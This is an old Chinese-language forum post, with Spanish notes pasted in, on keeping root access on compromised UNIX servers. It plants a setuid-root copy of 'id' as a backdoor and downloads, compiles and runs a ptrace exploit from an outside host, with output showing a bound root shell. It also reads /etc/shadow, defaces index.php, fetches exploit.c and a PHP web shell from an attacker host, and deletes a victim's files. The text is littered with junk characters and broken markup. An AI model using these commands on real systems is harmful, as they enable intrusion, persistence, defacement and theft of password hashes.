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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>. _0 j* E8 F$ K* D. f2 _* `( |
<>1.</P>
- m. V; y" j/ M* w- H" K- R<>[cnbird@localhost tmp]#id</P>5 m+ O/ C7 D9 P6 A' I4 s+ I
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
6 d# C4 R( A! x7 C' u1 i3 I8 S7 E<>[cnbird@localhost tmp]#cp `which id ` .</P>
  Q* D+ Y! k2 X7 G# u! _  d! p<>[cnbird@localhost tmp]#chown root ./id</P>9 C( |, N( ~  o8 |: V3 ?; g
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>! v0 o8 J; l! g, u5 K% V; Q" ]8 `
<>[cnbird@localhost tmp]#ls -l ./id</P>/ S+ L" j8 d3 Q4 z% |
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
2 M$ l  B) a6 S* h  S0 b<>[cnbird@localhost tmp]#exit</P>7 L& X3 ~% @* M# D' P
<>[cnbird@localhost tmp]$id</P>' ~( l- E( ^" j( b$ ~
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>1 Y/ R# r0 F1 V1 O% e
<>[cnbird@localhost tmp]$./id </P>
/ z9 J$ X( W1 {  ?# @* t1 B<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P># n' D$ I. T$ ~: d7 I
<>2.利用ptrace成为root的方法</P>
. i8 e0 A' c3 ]" t$ ~<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace( z; i/ }: e6 w, c
-&gt; Parent's PID is 2313. Child's PID is 2314.1 n8 y& }9 U* N
-&gt; Attaching to 2315...3 Y4 M( y9 d' u9 E6 `0 D& Q
-&gt; Got the thread!!
) {( M& X, n  I/ H, S* l% k& I-&gt; Waiting for the next signal...
- ~( k; e1 Q3 r( @-&gt; Injecting shellcode at 0x4000e85d
1 v3 }9 d6 D7 }  `-&gt; Bind root shell on port 24876... =p
8 L( N7 c& z. u! W/ u3 W-&gt; Detached from modprobe thread.
1 N" a$ }; F8 f& |1 N7 i; q-&gt; Committing suicide.....</P>
, y. j! c* |! {8 t/ d: |# e<>[bash]# id: p! G0 H2 v! V! Q7 B$ D6 Z) s1 V4 p* T
uid=0(root) gid=0(root) groups=0(root)</P>
7 t& f7 }) e; q4 Q* H<>ara ver los dominios que hay en el server:
- a  W* o: l  i, e4 U---------------------------------------------------------
) O2 b4 C# D+ j0 ?% T" Scat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios* `/ x/ s3 T+ a. B# q6 W& U5 _
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
9 J9 ~( O- d; ~+ k9 v" Scat /etc/localdomains &lt;&lt; Unicamente los dominios locales5 h2 |" `  U0 |2 f2 d
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
* f& c& R1 N+ s* Hcat /etc/userdomains &lt;&lt; Este es el mas comun% I) w8 q! j5 {  K( E# R
---------------------------------------------------------</P>& O/ t7 G3 i6 I
<>ara ver la version de kernel:
; |8 [/ t0 P$ V0 {% n3 \---------------------------------------------------------
8 k0 u* q  Y! w; b- R/ U  }9 S7 Duname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
& N5 ?! R$ N; x# p---------------------------------------------------------</P>; P# [# K. T6 r( y
<>ara modificar un index ya existente:
0 m& }3 K0 A: d, `: `---------------------------------------------------------
, ?& J6 C! H+ gecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido1 E) Q/ w; ~5 L* }1 w9 V/ J8 j
---------------------------------------------------------</P>
; H$ g3 ]8 r( r' h* f* Z* b<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
6 q5 F1 q# v4 b. s$ q2 B( _---------------------------------------------------------3 e) S. ~% b3 Q/ v: W
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
+ U. s1 `! s# V  F& V, e4 bcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" % E* e# N2 X: X! x0 ~
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
! G% L) v: Y* z; k$ I; q+ A( scd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 7 m4 @2 }: u$ c* y/ m4 ]) E
Hasta aqui termina el proceso para un exploit.8 ]. |' p# P% J
---------------------------------------------------------</P>( F9 O6 s  B& G6 h- H
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
7 l9 w0 N: \3 g& W( ?# j---------------------------------------------------------& c/ c" ^& c: X% ?# T5 ?
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
; L1 i0 g/ C! N5 Z3 _- @: m$ [) H5 u---------------------------------------------------------</P>
" b. j+ F& s6 Q0 `<>Borrar un Ficher
3 Y( D# q" w$ V" f% q---------------------------------------------------------
  F5 S7 x# x, M9 vcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm$ @' P  p8 k" M3 T" q% A
---------------------------------------------------------</P>: U. a* V+ |  N) m9 O: N
<>Subir un ficher
# n" h" O4 _* h7 `9 r2 s+ N---------------------------------------------------------
) \& M# a7 M/ j5 W- r4 jcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>7 d! N" F: J) F- o
<>
8 i1 x# a0 B! P, D0 Z  a9 [<CENTER></CENTER>
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